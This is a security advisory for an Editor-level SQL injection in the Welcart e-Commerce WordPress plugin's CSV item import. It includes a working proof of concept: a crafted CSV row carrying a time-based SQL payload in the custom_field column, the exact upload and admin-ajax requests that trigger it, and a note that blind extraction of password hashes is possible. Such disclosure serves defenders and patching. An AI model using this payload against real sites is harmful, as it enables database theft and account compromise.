Welcart e-Commerce < 2.11.32 – Editor+ SQL Injection via CSV Import | CVE 2026-16065

Description

The plugin does not properly sanitise a value taken from an imported CSV file before using it in a SQL statement, allowing users with the Editor role and above (including its custom shop-management roles) to perform SQL injection attacks.

Proof of Concept

Prerequisites:
- A user with the Editor role (or the plugin's wc_management / wc_author role).
- At least one product category exists (default "Uncategorized", term ID 1, is fine).

1. Log in as the Editor and open Welcart > Master Items (/wp-admin/admin.php?page=usces_itemedit).
   Note the upload form's _wpnonce (nonce action "wel_item").

2. Prepare a 37-column item CSV. In the 28th column (custom_field) place a normal "key=value"
   pair, the ";;" separator, then a malicious key:

   Header row (37 cols): Post ID,post_author,post_content,post_title,post_excerpt,post_status,
   comment_status,post_password,post_name,post_modified,item_code,item_name,item_restriction,
   item_pointrate,item_gpnum1,item_gpdis1,item_gpnum2,item_gpdis2,item_gpnum3,item_gpdis3,
   item_order_acceptable,item_shipping,item_delivery_method,item_shipping_charge,
   item_individual_s_charge,category,post_tag,custom_field,sku_code,sku_name,sku_cprice,
   sku_price,sku_zaikonum,sku_zaiko,sku_unit,sku_gptekiyo,sku_applicable_taxrate

   Data row (column 26 = category "1", column 28 = the injection):
   ,1,C,Product,,publish,open,,product,2026-06-13 07:00:00,ITEM001,Product,0,0,0,0,0,0,0,0,1,0,
   0,0,0,1,,legit=val;;x') AND SLEEP(3)-- - =v,SKU001,SKU,0,1000,0,0,,0,10

3. Submit the "Registration start" upload (multipart POST to ?page=usces_itemedit with
   action=upload_register, upload_mode=all, usces_upcsv=@item.csv, and the _wpnonce from step 1).
   The response page contains a tempfilename and a fresh AJAX nonce.

4. Trigger processing:
   POST /wp-admin/admin-ajax.php
   action=wel_item_upload_ajax&regfile=<tempfilename>&mode=all&work_number=0&comp_num=0&err_num=0&noheader=true&_wpnonce=<ajax nonce>

Result: the request is delayed by the injected SLEEP (raise the argument to confirm attacker-controlled
timing). The executed statement, after prepare()+stripslashes(), is:
   DELETE FROM wp_postmeta WHERE meta_key IN ( '_itemCode', ..., 'legit', 'x') AND SLEEP(3)-- - ' ) AND post_id = <id>
A boolean/subquery oracle in place of SLEEP allows blind extraction of any database value (e.g. wp_users.user_pass hashes).